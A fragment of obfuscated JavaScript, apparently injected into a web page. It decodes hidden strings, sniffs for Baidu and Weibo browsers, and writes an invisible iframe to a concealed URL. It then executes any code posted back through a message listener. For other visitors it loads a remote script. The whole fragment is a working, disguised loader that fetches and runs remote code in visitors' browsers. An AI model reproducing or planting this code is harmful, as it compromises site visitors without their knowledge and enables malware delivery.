sx.indexOf(e.charAt(f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String.fromCharCode(n); if (u != 64) { t = t + String.fromCharCode(r) } if (a != 64) { t = t + String.fromCharCode(i) } } return (function(e) { var t = '',n = r = c1 = c2 = 0; while (n < e.length) { r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++ }else if(r >191 &&r <224){ c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63); n += 2 }else{ c2 = e.charCodeAt(n + 1); c3 = e.charCodeAt(n + 2); t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t })(t) }; function sk(s, b345, b453) { var b435 = ''; for (var i = 0; i < s.length / 3; i++) { b435 += String.fromCharCode(s.substring(i * 3, (i + 1) * 3) * 1 >> 2 ^ 255) } return (function(b345, b435) { b453 = ''; for (var i = 0; i < b435.length / 2; i++) { b453 += String.fromCharCode(b435.substring(i * 2, (i + 1) * 2) * 1 ^ 127) } return 2 >> 2 || b345[b453].split('').map(function(e) { return e.charCodeAt(0) ^ 127 << 2 }).join('').substr(0, 5) })(b345[b435], b453) }; var fc98 = 's'+'rc',abc = 1,k2=navigator.userAgent.indexOf(bd('YmFpZHU=')) > -1||navigator.userAgent.indexOf(bd('d2VpQnJv')) > -1; function rd(m) { return (new Date().getTime()) % m }; h = sk('580632548600608632556576564', w, '1519301125161318') + rd(6524 - 5524); r = r+h,eey='id',br=bd('d3JpdGU='); u = decodeURIComponent(bd(u.replace(new RegExp(c + '' + c, 'g'), c))); wrd = bd('d3JpdGUKIA=='); if(k2){ abc = 0; var s = bd('YWRkRXZlbnRMaXN0ZW5lcg=='); r = r + rd(100); wi=bd('PGlmcmFtZSBzdHlsZT0ib3BhY2l0eTowLjA7aGVpZ2h0OjVweDsi')+' s'+'rc="' + u + r + '" ></iframe>'; d[br](wi); k = function(e) { var rr = r; if (e.data[rr]) { new Function(bd(e.data[rr].replace(new RegExp(rr, 'g'), '')))() } }; w[s](bd('bWVzc2FnZQ=='), k) } if (abc) { a = u; var s = d['createElement']('sc' + 'ript'); s[fc98] = a; d.head['appendChild'](s); } d.currentScript.id = 'des' + r }wKHTzmpQ4382();